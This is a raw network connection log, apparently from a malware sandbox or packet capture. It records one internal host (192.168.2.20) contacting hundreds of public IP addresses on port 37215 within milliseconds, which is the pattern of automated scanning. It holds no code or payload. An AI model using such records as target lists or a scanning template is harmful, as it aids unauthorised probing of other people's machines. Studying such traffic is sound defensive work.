Jan 22, 2024 03:59:50.379549026 CET	58015	37215	192.168.2.20	156.31.193.239
Jan 22, 2024 03:59:50.379564047 CET	58015	37215	192.168.2.20	197.187.145.76
Jan 22, 2024 03:59:50.379621983 CET	58015	37215	192.168.2.20	156.150.212.5
Jan 22, 2024 03:59:50.379693985 CET	58015	37215	192.168.2.20	41.86.203.156
Jan 22, 2024 03:59:50.379823923 CET	58015	37215	192.168.2.20	197.92.127.73
Jan 22, 2024 03:59:50.379872084 CET	58015	37215	192.168.2.20	45.220.89.67
Jan 22, 2024 03:59:50.379887104 CET	58015	37215	192.168.2.20	41.124.104.158
Jan 22, 2024 03:59:50.379965067 CET	58015	37215	192.168.2.20	154.193.97.92
Jan 22, 2024 03:59:50.380019903 CET	58015	37215	192.168.2.20	41.107.214.128
Jan 22, 2024 03:59:50.380085945 CET	58015	37215	192.168.2.20	107.206.27.135
Jan 22, 2024 03:59:50.380163908 CET	58015	37215	192.168.2.20	156.163.114.240
Jan 22, 2024 03:59:50.380292892 CET	58015	37215	192.168.2.20	45.52.24.235
Jan 22, 2024 03:59:50.380351067 CET	58015	37215	192.168.2.20	190.195.121.68
Jan 22, 2024 03:59:50.380394936 CET	58015	37215	192.168.2.20	197.132.83.199
Jan 22, 2024 03:59:50.380422115 CET	58015	37215	192.168.2.20	94.64.101.2
Jan 22, 2024 03:59:50.380518913 CET	58015	37215	192.168.2.20	41.50.225.164
Jan 22, 2024 03:59:50.380635023 CET	58015	37215	192.168.2.20	121.195.158.44
Jan 22, 2024 03:59:50.380692005 CET	58015	37215	192.168.2.20	190.96.229.194
Jan 22, 2024 03:59:50.380748987 CET	58015	37215	192.168.2.20	156.98.85.25
Jan 22, 2024 03:59:50.380827904 CET	58015	37215	192.168.2.20	138.72.18.194
Jan 22, 2024 03:59:50.380882025 CET	58015	37215	192.168.2.20	160.126.3.135
Jan 22, 2024 03:59:50.380958080 CET	58015	37215	192.168.2.20	156.32.66.37
Jan 22, 2024 03:59:50.381014109 CET	58015	37215	192.168.2.20	186.246.166.176
Jan 22, 2024 03:59:50.381093025 CET	58015	37215	192.168.2.20	197.130.254.53
Jan 22, 2024 03:59:50.381155968 CET	58015	37215	192.168.2.20	122.247.32.59
Jan 22, 2024 03:59:50.381210089 CET	58015	37215	192.168.2.20	120.243.70.52
Jan 22, 2024 03:59:50.381284952 CET	58015	37215	192.168.2.20	197.133.115.206
Jan 22, 2024 03:59:50.381350040 CET	58015	37215	192.168.2.20	197.244.57.102
Jan 22, 2024 03:59:50.381416082 CET	58015	37215	192.168.2.20	197.212.198.154
Jan 22, 2024 03:59:50.381474018 CET	58015	37215	192.168.2.20	95.88.3.13
Jan 22, 2024 03:59:50.381552935 CET	58015	37215	192.168.2.20	45.155.207.110
Jan 22, 2024 03:59:50.381628990 CET	58015	37215	192.168.2.20	222.5.255.210
Jan 22, 2024 03:59:50.381690025 CET	58015	37215	192.168.2.20	197.176.75.184
Jan 22, 2024 03:59:50.381761074 CET	58015	37215	192.168.2.20	102.106.76.62
Jan 22, 2024 03:59:50.381822109 CET	58015	37215	192.168.2.20	156.197.12.34
Jan 22, 2024 03:59:50.381920099 CET	58015	37215	192.168.2.20	41.78.18.195
Jan 22, 2024 03:59:50.381958961 CET	58015	37215	192.168.2.20	41.229.0.133
Jan 22, 2024 03:59:50.382016897 CET	58015	37215	192.168.2.20	94.30.99.48
Jan 22, 2024 03:59:50.382093906 CET	58015	37215	192.168.2.20	160.131.189.207
Jan 22, 2024 03:59:50.382159948 CET	58015	37215	192.168.2.20	154.131.144.60
Jan 22, 2024 03:59:50.382234097 CET	58015	37215	192.168.2.20	160.5.198.249
Jan 22, 2024 03:59:50.382281065 CET	58015	37215	192.168.2.20	197.233.37.0
Jan 22, 2024 03:59:50.382353067 CET	58015	37215	192.168.2.20	181.235.42.212
Jan 22, 2024 03:59:50.382421017 CET	58015	37215	192.168.2.20	156.56.109.58
Jan 22, 2024 03:59:50.382487059 CET	58015	37215	192.168.2.20	156.158.12.82
Jan 22, 2024 03:59:50.382550955 CET	58015	37215	192.168.2.20	156.171.238.118
Jan 22, 2024 03:59:50.382606983 CET	58015	37215	192.168.2.20	197.105.74.165
Jan 22, 2024 03:59:50.382673025 CET	58015	37215	192.168.2.20	197.138.238.51
Jan 22, 2024 03:59:50.382742882 CET	58015	37215	192.168.2.20	41.18.87.92
Jan 22, 2024 03:59:50.382810116 CET	58015	37215	192.168.2.20	41.89.21.143
Jan 22, 2024 03:59:50.382884979 CET	58015	37215	192.168.2.20	156.200.41.67
Jan 22, 2024 03:59:50.382941961 CET	58015	37215	192.168.2.20	41.200.217.158
Jan 22, 2024 03:59:50.382976055 CET	58015	37215	192.168.2.20	222.129.214.78
Jan 22, 2024 03:59:50.382999897 CET	58015	37215	192.168.2.20	41.124.141.83
Jan 22, 2024 03:59:50.383019924 CET	58015	37215	192.168.2.20	156.63.191.201
Jan 22, 2024 03:59:50.383055925 CET	58015	37215	192.168.2.20	41.198.120.201
Jan 22, 2024 03:59:50.383060932 CET	58015	37215	192.168.2.20	41.107.245.159
Jan 22, 2024 03:59:50.383080006 CET	58015	37215	192.168.2.20	160.117.202.138
Jan 22, 2024 03:59:50.383093119 CET	58015	37215	192.168.2.20	156.147.136.42
Jan 22, 2024 03:59:50.383111000 CET	58015	37215	192.168.2.20	102.167.44.28
Jan 22, 2024 03:59:50.383133888 CET	58015	37215	192.168.2.20	197.218.205.169
Jan 22, 2024 03:59:50.383147955 CET	58015	37215	192.168.2.20	197.183.94.172
Jan 22, 2024 03:59:50.383174896 CET	58015	37215	192.168.2.20	190.238.190.239
Jan 22, 2024 03:59:50.383181095 CET	58015	37215	192.168.2.20	197.254.51.165
Jan 22, 2024 03:59:50.383188963 CET	58015	37215	192.168.2.20	197.44.145.189
Jan 22, 2024 03:59:50.383203983 CET	58015	37215	192.168.2.20	197.142.153.66
Jan 22, 2024 03:59:50.383274078 CET	58015	37215	192.168.2.20	186.165.21.197
Jan 22, 2024 03:59:50.383274078 CET	58015	37215	192.168.2.20	41.118.8.128
Jan 22, 2024 03:59:50.383292913 CET	58015	37215	192.168.2.20	197.91.10.56
Jan 22, 2024 03:59:50.383301020 CET	58015	37215	192.168.2.20	156.100.122.199
Jan 22, 2024 03:59:50.383301020 CET	58015	37215	192.168.2.20	156.66.214.76
Jan 22, 2024 03:59:50.383310080 CET	58015	37215	192.168.2.20	41.123.68.146
Jan 22, 2024 03:59:50.383311033 CET	58015	37215	192.168.2.20	122.244.128.134
Jan 22, 2024 03:59:50.383312941 CET	58015	37215	192.168.2.20	41.113.169.37
Jan 22, 2024 03:59:50.383328915 CET	58015	37215	192.168.2.20	41.170.21.35
Jan 22, 2024 03:59:50.383347988 CET	58015	37215	192.168.2.20	197.116.213.74
Jan 22, 2024 03:59:50.383367062 CET	58015	37215	192.168.2.20	197.10.200.69
Jan 22, 2024 03:59:50.383392096 CET	58015	37215	192.168.2.20	197.73.240.225
Jan 22, 2024 03:59:50.383395910 CET	58015	37215	192.168.2.20	138.255.246.162
Jan 22, 2024 03:59:50.383419037 CET	58015	37215	192.168.2.20	41.194.187.209
Jan 22, 2024 03:59:50.383425951 CET	58015	37215	192.168.2.20	196.182.244.11
Jan 22, 2024 03:59:50.383439064 CET	58015	37215	192.168.2.20	156.143.136.116
Jan 22, 2024 03:59:50.383466959 CET	58015	37215	192.168.2.20	197.201.125.128
Jan 22, 2024 03:59:50.383483887 CET	58015	37215	192.168.2.20	186.143.211.209
Jan 22, 2024 03:59:50.383497953 CET	58015	37215	192.168.2.20	156.56.217.28
Jan 22, 2024 03:59:50.383513927 CET	58015	37215	192.168.2.20	37.43.204.234
Jan 22, 2024 03:59:50.383531094 CET	58015	37215	192.168.2.20	122.128.1.171
Jan 22, 2024 03:59:50.383548975 CET	58015	37215	192.168.2.20	197.240.235.81
Jan 22, 2024 03:59:50.383558989 CET	58015	37215	192.168.2.20	197.1.117.95
Jan 22, 2024 03:59:50.383580923 CET	58015	37215	192.168.2.20	197.25.86.25
Jan 22, 2024 03:59:50.383589983 CET	58015	37215	192.168.2.20	41.57.208.17
Jan 22, 2024 03:59:50.383601904 CET	58015	37215	192.168.2.20	156.30.219.154
Jan 22, 2024 03:59:50.383621931 CET	58015	37215	192.168.2.20	41.29.94.166
Jan 22, 2024 03:59:50.383646965 CET	58015	37215	192.168.2.20	120.191.89.165
Jan 22, 2024 03:59:50.383662939 CET	58015	37215	192.168.2.20	196.47.248.129
Jan 22, 2024 03:59:50.383678913 CET	58015	37215	192.168.2.20	121.55.80.159
Jan 22, 2024 03:59:50.383688927 CET	58015	37215	192.168.2.20	156.184.182.60
Jan 22, 2024 03:59:50.383704901 CET	58015	37215	192.168.2.20	197.252.16.179
Jan 22, 2024 03:59:50.383728027 CET	58015	37215	192.168.2.20	95.145.152.71
Jan 22, 2024 03:59:50.383738041 CET	58015	37215	192.168.2.20	156.95.74.84
Jan 22, 2024 03:59:50.383757114 CET	58015	37215	192.168.2.20	197.25.144.127
Jan 22, 2024 03:59:50.383775949 CET	58015	37215	192.168.2.20	156.203.120.221
Jan 22, 2024 03:59:50.383788109 CET	58015	37215	192.168.2.20	197.33.102.207
Jan 22, 2024 03:59:50.383805037 CET	58015	37215	192.168.2.20	197.20.214.123
Jan 22, 2024 03:59:50.383821011 CET	58015	37215	192.168.2.20	186.93.192.54
Jan 22, 2024 03:59:50.383835077 CET	58015	37215	192.168.2.20	156.138.73.170
Jan 22, 2024 03:59:50.383862972 CET	58015	37215	192.168.2.20	156.197.103.214
Jan 22, 2024 03:59:50.383877993 CET	58015	37215	192.168.2.20	197.176.154.217
Jan 22, 2024 03:59:50.383891106 CET	58015	37215	192.168.2.20	197.59.233.38
Jan 22, 2024 03:59:50.383903980 CET	58015	37215	192.168.2.20	197.1.109.19
Jan 22, 2024 03:59:50.383924961 CET	58015	37215	192.168.2.20	197.89.95.129
Jan 22, 2024 03:59:50.383935928 CET	58015	37215	192.168.2.20	41.48.107.105
Jan 22, 2024 03:59:50.383946896 CET	58015	37215	192.168.2.20	197.178.27.11
Jan 22, 2024 03:59:50.383974075 CET	58015	37215	192.168.2.20	156.83.73.42
Jan 22, 2024 03:59:50.383980036 CET	58015	37215	192.168.2.20	156.224.72.162
Jan 22, 2024 03:59:50.384002924 CET	58015	37215	192.168.2.20	45.84.233.234
Jan 22, 2024 03:59:50.384023905 CET	58015	37215	192.168.2.20	45.4.3.19
Jan 22, 2024 03:59:50.384023905 CET	58015	37215	192.168.2.20	197.33.207.107
Jan 22, 2024 03:59:50.384047031 CET	58015	37215	192.168.2.20	197.241.23.70
Jan 22, 2024 03:59:50.384058952 CET	58015	37215	192.168.2.20	41.44.130.168
Jan 22, 2024 03:59:50.384080887 CET	58015	37215	192.168.2.20	156.101.184.117
Jan 22, 2024 03:59:50.384095907 CET	58015	37215	192.168.2.20	197.22.139.39
Jan 22, 2024 03:59:50.384116888 CET	58015	37215	192.168.2.20	41.27.24.140
Jan 22, 2024 03:59:50.384130001 CET	58015	37215	192.168.2.20	156.190.147.214
Jan 22, 2024 03:59:50.384135962 CET	58015	37215	192.168.2.20	120.23.87.23
Jan 22, 2024 03:59:50.384154081 CET	58015	37215	192.168.2.20	156.111.166.63
Jan 22, 2024 03:59:50.384182930 CET	58015	37215	192.168.2.20	41.230.206.250
Jan 22, 2024 03:59:50.384186029 CET	58015	37215	192.168.2.20	190.225.102.120
Jan 22, 2024 03:59:50.384200096 CET	58015	37215	192.168.2.20	95.201.77.239
Jan 22, 2024 03:59:50.384224892 CET	58015	37215	192.168.2.20	41.32.219.34
Jan 22, 2024 03:59:50.384238958 CET	58015	37215	192.168.2.20	41.165.124.211
Jan 22, 2024 03:59:50.384253025 CET	58015	37215	192.168.2.20	154.24.15.186
Jan 22, 2024 03:59:50.384265900 CET	58015	37215	192.168.2.20	156.168.66.202
Jan 22, 2024 03:59:50.384282112 CET	58015	37215	192.168.2.20	37.141.113.165
Jan 22, 2024 03:59:50.384309053 CET	58015	37215	192.168.2.20	197.184.166.91
Jan 22, 2024 03:59:50.384316921 CET	58015	37215	192.168.2.20	41.220.139.4
Jan 22, 2024 03:59:50.384327888 CET	58015	37215	192.168.2.20	197.212.196.168
Jan 22, 2024 03:59:50.384358883 CET	58015	37215	192.168.2.20	156.253.4.126
Jan 22, 2024 03:59:50.384365082 CET	58015	37215	192.168.2.20	138.60.174.84
Jan 22, 2024 03:59:50.384390116 CET	58015	37215	192.168.2.20	197.83.94.128
Jan 22, 2024 03:59:50.384402990 CET	58015	37215	192.168.2.20	37.102.100.192
Jan 22, 2024 03:59:50.384412050 CET	58015	37215	192.168.2.20	107.58.139.140
Jan 22, 2024 03:59:50.384428978 CET	58015	37215	192.168.2.20	41.255.226.77
Jan 22, 2024 03:59:50.384452105 CET	58015	37215	192.168.2.20	197.185.104.94
Jan 22, 2024 03:59:50.384474039 CET	58015	37215	192.168.2.20	197.227.53.93
Jan 22, 2024 03:59:50.384475946 CET	58015	37215	192.168.2.20	138.224.197.172
Jan 22, 2024 03:59:50.384491920 CET	58015	37215	192.168.2.20	160.41.237.185
Jan 22, 2024 03:59:50.384506941 CET	58015	37215	192.168.2.20	41.41.160.67
Jan 22, 2024 03:59:50.384531021 CET	58015	37215	192.168.2.20	92.188.64.191
Jan 22, 2024 03:59:50.384552956 CET	58015	37215	192.168.2.20	41.4.108.155
Jan 22, 2024 03:59:50.384556055 CET	58015	37215	192.168.2.20	41.111.49.195
Jan 22, 2024 03:59:50.384577990 CET	58015	37215	192.168.2.20	154.11.217.241
Jan 22, 2024 03:59:50.384588003 CET	58015	37215	192.168.2.20	121.229.7.63
Jan 22, 2024 03:59:50.384603977 CET	58015	37215	192.168.2.20	156.206.169.62
Jan 22, 2024 03:59:50.384618998 CET	58015	37215	192.168.2.20	190.42.183.7
Jan 22, 2024 03:59:50.384637117 CET	58015	37215	192.168.2.20	156.123.251.127
Jan 22, 2024 03:59:50.384659052 CET	58015	37215	192.168.2.20	41.193.134.46
Jan 22, 2024 03:59:50.384679079 CET	58015	37215	192.168.2.20	41.166.143.225
Jan 22, 2024 03:59:50.384685040 CET	58015	37215	192.168.2.20	156.48.59.243
Jan 22, 2024 03:59:50.384705067 CET	58015	37215	192.168.2.20	92.196.202.34
Jan 22, 2024 03:59:50.384727001 CET	58015	37215	192.168.2.20	121.180.200.52
Jan 22, 2024 03:59:50.384742022 CET	58015	37215	192.168.2.20	197.243.167.54
Jan 22, 2024 03:59:50.384753942 CET	58015	37215	192.168.2.20	156.165.31.117
Jan 22, 2024 03:59:50.384773016 CET	58015	37215	192.168.2.20	190.6.26.144
Jan 22, 2024 03:59:50.384793043 CET	58015	37215	192.168.2.20	92.179.62.66
Jan 22, 2024 03:59:50.384815931 CET	58015	37215	192.168.2.20	107.225.162.19
Jan 22, 2024 03:59:50.384820938 CET	58015	37215	192.168.2.20	41.208.246.214
Jan 22, 2024 03:59:50.384829998 CET	58015	37215	192.168.2.20	157.153.74.51
Jan 22, 2024 03:59:50.384849072 CET	58015	37215	192.168.2.20	102.91.124.9
Jan 22, 2024 03:59:50.384867907 CET	58015	37215	192.168.2.20	41.255.65.2
Jan 22, 2024 03:59:50.384885073 CET	58015	37215	192.168.2.20	197.29.201.152
Jan 22, 2024 03:59:50.384912014 CET	58015	37215	192.168.2.20	156.55.152.167
Jan 22, 2024 03:59:50.384912014 CET	58015	37215	192.168.2.20	156.192.223.240
Jan 22, 2024 03:59:50.384936094 CET	58015	37215	192.168.2.20	92.236.92.14
Jan 22, 2024 03:59:50.384947062 CET	58015	37215	192.168.2.20	197.110.110.13
Jan 22, 2024 03:59:50.384959936 CET	58015	37215	192.168.2.20	222.23.53.99
Jan 22, 2024 03:59:50.384974003 CET	58015	37215	192.168.2.20	138.177.28.52
Jan 22, 2024 03:59:50.384999037 CET	58015	37215	192.168.2.20	156.21.228.217
Jan 22, 2024 03:59:50.385021925 CET	58015	37215	192.168.2.20	41.224.232.60
Jan 22, 2024 03:59:50.385024071 CET	58015	37215	192.168.2.20	41.98.168.201
Jan 22, 2024 03:59:50.385037899 CET	58015	37215	192.168.2.20	197.252.117.43
Jan 22, 2024 03:59:50.385061979 CET	58015	37215	192.168.2.20	197.122.245.155
Jan 22, 2024 03:59:50.385068893 CET	58015	37215	192.168.2.20	197.89.168.63
Jan 22, 2024 03:59:50.385090113 CET	58015	37215	192.168.2.20	186.59.169.191
Jan 22, 2024 03:59:50.385109901 CET	58015	37215	192.168.2.20	222.150.55.46
Jan 22, 2024 03:59:50.385124922 CET	58015	37215	192.168.2.20	41.0.200.223
Jan 22, 2024 03:59:50.385143042 CET	58015	37215	192.168.2.20	120.4.46.62
Jan 22, 2024 03:59:50.385150909 CET	58015	37215	192.168.2.20	41.187.15.170
Jan 22, 2024 03:59:50.385170937 CET	58015	37215	192.168.2.20	41.236.104.43
Jan 22, 2024 03:59:50.385190010 CET	58015	37215	192.168.2.20	41.85.253.240
Jan 22, 2024 03:59:50.385198116 CET	58015	37215	192.168.2.20	156.48.217.237
Jan 22, 2024 03:59:50.385214090 CET	58015	37215	192.168.2.20	41.164.158.248
Jan 22, 2024 03:59:50.385236979 CET	58015	37215	192.168.2.20	156.8.7.71
Jan 22, 2024 03:59:50.385267019 CET	58015	37215	192.168.2.20	41.249.237.130
Jan 22, 2024 03:59:50.385267973 CET	58015	37215	192.168.2.20	92.155.243.128
Jan 22, 2024 03:59:50.385284901 CET	58015	37215	192.168.2.20	197.68.166.135
Jan 22, 2024 03:59:50.385309935 CET	58015	37215	192.168.2.20	41.13.132.123
Jan 22, 2024 03:59:50.385315895 CET	58015	37215	192.168.2.20	41.94.248.167
Jan 22, 2024 03:59:50.385324955 CET	58015	37215	192.168.2.20	95.153.145.197
Jan 22, 2024 03:59:50.385349035 CET	58015	37215	192.168.2.20	122.213.79.213
Jan 22, 2024 03:59:50.385363102 CET	58015	37215	192.168.2.20	92.16.26.76
Jan 22, 2024 03:59:50.385374069 CET	58015	37215	192.168.2.20	120.182.31.7
Jan 22, 2024 03:59:50.385394096 CET	58015	37215	192.168.2.20	197.30.15.107
Jan 22, 2024 03:59:50.385417938 CET	58015	37215	192.168.2.20	120.134.141.59
Jan 22, 2024 03:59:50.385417938 CET	58015	37215	192.168.2.20	92.197.178.201
Jan 22, 2024 03:59:50.385443926 CET	58015	37215	192.168.2.20	107.21.49.23
Jan 22, 2024 03:59:50.385468006 CET	58015	37215	192.168.2.20	197.236.118.117
Jan 22, 2024 03:59:50.385479927 CET	58015	37215	192.168.2.20	138.85.246.219
Jan 22, 2024 03:59:50.385490894 CET	58015	37215	192.168.2.20	41.146.227.110
Jan 22, 2024 03:59:50.385508060 CET	58015	37215	192.168.2.20	156.111.171.254
Jan 22, 2024 03:59:50.385535002 CET	58015	37215	192.168.2.20	95.114.191.9
Jan 22, 2024 03:59:50.385562897 CET	58015	37215	192.168.2.20	196.167.76.102
Jan 22, 2024 03:59:50.385571003 CET	58015	37215	192.168.2.20	156.74.226.101
Jan 22, 2024 03:59:50.385581017 CET	58015	37215	192.168.2.20	41.205.91.191
Jan 22, 2024 03:59:50.385598898 CET	58015	37215	192.168.2.20	41.35.52.242
Jan 22, 2024 03:59:50.385623932 CET	58015	37215	192.168.2.20	197.173.188.225
Jan 22, 2024 03:59:50.385641098 CET	58015	37215	192.168.2.20	156.99.220.164
Jan 22, 2024 03:59:50.385659933 CET	58015	37215	192.168.2.20	156.117.223.12
Jan 22, 2024 03:59:50.385679960 CET	58015	37215	192.168.2.20	156.28.8.207
Jan 22, 2024 03:59:50.385694981 CET	58015	37215	192.168.2.20	138.157.7.21
Jan 22, 2024 03:59:50.385724068 CET	58015	37215	192.168.2.20	107.125.29.61
Jan 22, 2024 03:59:50.385724068 CET	58015	37215	192.168.2.20	156.131.74.98
Jan 22, 2024 03:59:50.385750055 CET	58015	37215	192.168.2.20	94.89.62.39
Jan 22, 2024 03:59:50.385766029 CET	58015	37215	192.168.2.20	156.168.104.115
Jan 22, 2024 03:59:50.385790110 CET	58015	37215	192.168.2.20	222.253.161.197
Jan 22, 2024 03:59:50.385798931 CET	58015	37215	192.168.2.20	156.235.88.125
Jan 22, 2024 03:59:50.385814905 CET	58015	37215	192.168.2.20	41.18.4.37
Jan 22, 2024 03:59:50.385838985 CET	58015	37215	192.168.2.20	197.68.197.220
Jan 22, 2024 03:59:50.385855913 CET	58015	37215	192.168.2.20	41.10.233.20
Jan 22, 2024 03:59:50.385874987 CET	58015	37215	192.168.2.20	41.243.201.7
Jan 22, 2024 03:59:50.385885000 CET	58015	37215	192.168.2.20	41.100.8.61
Jan 22, 2024 03:59:50.385917902 CET	58015	37215	192.168.2.20	41.150.215.30
Jan 22, 2024 03:59:50.385926962 CET	58015	37215	192.168.2.20	197.51.73.250
Jan 22, 2024 03:59:50.385951996 CET	58015	37215	192.168.2.20	190.65.235.219
Jan 22, 2024 03:59:50.385962009 CET	58015	37215	192.168.2.20	222.65.238.99
Jan 22, 2024 03:59:50.385973930 CET	58015	37215	192.168.2.20	156.103.215.128
Jan 22, 2024 03:59:50.385992050 CET	58015	37215	192.168.2.20	197.231.131.112
Jan 22, 2024 03:59:50.386017084 CET	58015	37215	192.168.2.20	120.148.119.143
Jan 22, 2024 03:59:50.386025906 CET	58015	37215	192.168.2.20	197.223.41.100
Jan 22, 2024 03:59:50.386050940 CET	58015	37215	192.168.2.20	120.39.106.227
Jan 22, 2024 03:59:50.386064053 CET	58015	37215	192.168.2.20	41.198.244.105
Jan 22, 2024 03:59:50.386085987 CET	58015	37215	192.168.2.20	197.203.144.165
Jan 22, 2024 03:59:50.386105061 CET	58015	37215	192.168.2.20	156.242.23.49
Jan 22, 2024 03:59:50.386121035 CET	58015	37215	192.168.2.20	156.166.149.13
Jan 22, 2024 03:59:50.386153936 CET	58015	37215	192.168.2.20	196.160.18.8
Jan 22, 2024 03:59:50.386157990 CET	58015	37215	192.168.2.20	154.159.179.80
Jan 22, 2024 03:59:50.386176109 CET	58015	37215	192.168.2.20	156.70.9.17
Jan 22, 2024 03:59:50.386187077 CET	58015	37215	192.168.2.20	94.228.199.153
Jan 22, 2024 03:59:50.386204004 CET	58015	37215	192.168.2.20	41.23.99.8
Jan 22, 2024 03:59:50.386221886 CET	58015	37215	192.168.2.20	197.49.193.38
Jan 22, 2024 03:59:50.386248112 CET	58015	37215	192.168.2.20	156.211.167.188
Jan 22, 2024 03:59:50.386265039 CET	58015	37215	192.168.2.20	41.121.129.210
Jan 22, 2024 03:59:50.386276007 CET	58015	37215	192.168.2.20	94.40.232.231
Jan 22, 2024 03:59:50.386303902 CET	58015	37215	192.168.2.20	41.140.247.110
Jan 22, 2024 03:59:50.386311054 CET	58015	37215	192.168.2.20	156.175.235.119
Jan 22, 2024 03:59:50.386336088 CET	58015	37215	192.168.2.20	197.160.197.4
Jan 22, 2024 03:59:50.386360884 CET	58015	37215	192.168.2.20	41.166.85.164
Jan 22, 2024 03:59:50.386364937 CET	58015	37215	192.168.2.20	156.15.239.172
Jan 22, 2024 03:59:50.386389971 CET	58015	37215	192.168.2.20	41.102.132.9
Jan 22, 2024 03:59:50.386406898 CET	58015	37215	192.168.2.20	181.228.197.186
Jan 22, 2024 03:59:50.386425018 CET	58015	37215	192.168.2.20	154.80.124.24
Jan 22, 2024 03:59:50.386435986 CET	58015	37215	192.168.2.20	102.22.37.66
Jan 22, 2024 03:59:50.386461020 CET	58015	37215	192.168.2.20	95.124.37.178
Jan 22, 2024 03:59:50.386471987 CET	58015	37215	192.168.2.20	222.115.98.204
Jan 22, 2024 03:59:50.386497021 CET	58015	37215	192.168.2.20	222.201.144.100
Jan 22, 2024 03:59:50.386526108 CET	58015	37215	192.168.2.20	156.126.241.253
Jan 22, 2024 03:59:50.386526108 CET	58015	37215	192.168.2.20	92.95.23.151
Jan 22, 2024 03:59:50.386549950 CET	58015	37215	192.168.2.20	102.44.195.80
Jan 22, 2024 03:59:50.386567116 CET	58015	37215	192.168.2.20	94.74.238.99
Jan 22, 2024 03:59:50.386579990 CET	58015	37215	192.168.2.20	197.106.142.168
Jan 22, 2024 03:59:50.386607885 CET	58015	37215	192.168.2.20	121.126.91.151
Jan 22, 2024 03:59:50.386621952 CET	58015	37215	192.168.2.20	156.148.105.76
Jan 22, 2024 03:59:50.386639118 CET	58015	37215	192.168.2.20	122.75.217.91
Jan 22, 2024 03:59:50.386650085 CET	58015	37215	192.168.2.20	156.139.31.164
Jan 22, 2024 03:59:50.386673927 CET	58015	37215	192.168.2.20	95.193.165.73
Jan 22, 2024 03:59:50.386692047 CET	58015	37215	192.168.2.20	197.181.209.249
Jan 22, 2024 03:59:50.386714935 CET	58015	37215	192.168.2.20	41.108.16.218
Jan 22, 2024 03:59:50.386722088 CET	58015	37215	192.168.2.20	95.56.62.89
Jan 22, 2024 03:59:50.386744976 CET	58015	37215	192.168.2.20	197.254.233.114
Jan 22, 2024 03:59:50.386770964 CET	58015	37215	192.168.2.20	102.253.156.185
Jan 22, 2024 03:59:50.386782885 CET	58015	37215	192.168.2.20	156.86.78.75
Jan 22, 2024 03:59:50.386801958 CET	58015	37215	192.168.2.20	45.254.227.71
Jan 22, 2024 03:59:50.386811018 CET	58015	37215	192.168.2.20	41.252.23.139
Jan 22, 2024 03:59:50.386836052 CET	58015	37215	192.168.2.20	102.209.205.200
Jan 22, 2024 03:59:50.386854887 CET	58015	37215	192.168.2.20	197.51.248.163
Jan 22, 2024 03:59:50.386873007 CET	58015	37215	192.168.2.20	197.147.93.185
Jan 22, 2024 03:59:50.386909962 CET	58015	37215	192.168.2.20	138.200.108.32
Jan 22, 2024 03:59:50.386925936 CET	58015	37215	192.168.2.20	45.38.111.90
Jan 22, 2024 03:59:50.386936903 CET	58015	37215	192.168.2.20	156.73.154.109
Jan 22, 2024 03:59:50.386961937 CET	58015	37215	192.168.2.20	156.15.154.199
Jan 22, 2024 03:59:50.386989117 CET	58015	37215	192.168.2.20	160.158.45.148
Jan 22, 2024 03:59:50.386991978 CET	58015	37215	192.168.2.20	41.130.177.156
Jan 22, 2024 03:59:50.387006998 CET	58015	37215	192.168.2.20	186.16.142.119
Jan 22, 2024 03:59:50.387025118 CET	58015	37215	192.168.2.20	157.46.201.172
Jan 22, 2024 03:59:50.387043953 CET	58015	37215	192.168.2.20	121.55.4.121
Jan 22, 2024 03:59:50.387068987 CET	58015	37215	192.168.2.20	41.159.39.143
Jan 22, 2024 03:59:50.387084007 CET	58015	37215	192.168.2.20	181.250.85.70
Jan 22, 2024 03:59:50.387095928 CET	58015	37215	192.168.2.20	156.83.46.131
Jan 22, 2024 03:59:50.387123108 CET	58015	37215	192.168.2.20	156.17.75.243
Jan 22, 2024 03:59:50.387140989 CET	58015	37215	192.168.2.20	197.140.72.223
Jan 22, 2024 03:59:50.387151957 CET	58015	37215	192.168.2.20	94.179.8.140
Jan 22, 2024 03:59:50.387168884 CET	58015	37215	192.168.2.20	94.166.123.189
Jan 22, 2024 03:59:50.387197018 CET	58015	37215	192.168.2.20	181.153.249.73
Jan 22, 2024 03:59:50.387202978 CET	58015	37215	192.168.2.20	37.49.194.102
Jan 22, 2024 03:59:50.387231112 CET	58015	37215	192.168.2.20	156.80.205.219
Jan 22, 2024 03:59:50.387242079 CET	58015	37215	192.168.2.20	41.177.204.28
Jan 22, 2024 03:59:50.387258053 CET	58015	37215	192.168.2.20	197.168.164.123
Jan 22, 2024 03:59:50.387276888 CET	58015	37215	192.168.2.20	196.98.227.235
Jan 22, 2024 03:59:50.387301922 CET	58015	37215	192.168.2.20	156.51.142.74
Jan 22, 2024 03:59:50.387319088 CET	58015	37215	192.168.2.20	41.42.153.216
Jan 22, 2024 03:59:50.387342930 CET	58015	37215	192.168.2.20	197.27.17.180
Jan 22, 2024 03:59:50.387355089 CET	58015	37215	192.168.2.20	197.167.54.92
Jan 22, 2024 03:59:50.387377977 CET	58015	37215	192.168.2.20	196.153.34.213
Jan 22, 2024 03:59:50.387391090 CET	58015	37215	192.168.2.20	181.178.52.200
Jan 22, 2024 03:59:50.387407064 CET	58015	37215	192.168.2.20	41.79.120.124
Jan 22, 2024 03:59:50.387418032 CET	58015	37215	192.168.2.20	197.123.106.108
Jan 22, 2024 03:59:50.387439013 CET	58015	37215	192.168.2.20	41.189.238.27
Jan 22, 2024 03:59:50.387463093 CET	58015	37215	192.168.2.20	197.136.78.191
Jan 22, 2024 03:59:50.387471914 CET	58015	37215	192.168.2.20	41.62.40.184
Jan 22, 2024 03:59:50.387491941 CET	58015	37215	192.168.2.20	41.201.74.1
Jan 22, 2024 03:59:50.387516975 CET	58015	37215	192.168.2.20	156.252.168.154
Jan 22, 2024 03:59:50.387522936 CET	58015	37215	192.168.2.20	197.200.91.221
Jan 22, 2024 03:59:50.387551069 CET	58015	37215	192.168.2.20	156.94.90.190
Jan 22, 2024 03:59:50.387562990 CET	58015	37215	192.168.2.20	41.98.223.196
Jan 22, 2024 03:59:50.387588024 CET	58015	37215	192.168.2.20	41.226.168.167
Jan 22, 2024 03:59:50.387619019 CET	58015	37215	192.168.2.20	138.40.26.181
Jan 22, 2024 03:59:50.387619019 CET	58015	37215	192.168.2.20	41.243.119.85
Jan 22, 2024 03:59:50.387633085 CET	58015	37215	192.168.2.20	156.163.191.158
Jan 22, 2024 03:59:50.387656927 CET	58015	37215	192.168.2.20	41.187.180.229
Jan 22, 2024 03:59:50.387670040 CET	58015	37215	192.168.2.20	41.182.220.15
Jan 22, 2024 03:59:50.387691021 CET	58015	37215	192.168.2.20	41.230.212.119
Jan 22, 2024 03:59:50.387710094 CET	58015	37215	192.168.2.20	37.238.58.19
Jan 22, 2024 03:59:50.387722015 CET	58015	37215	192.168.2.20	41.199.147.74
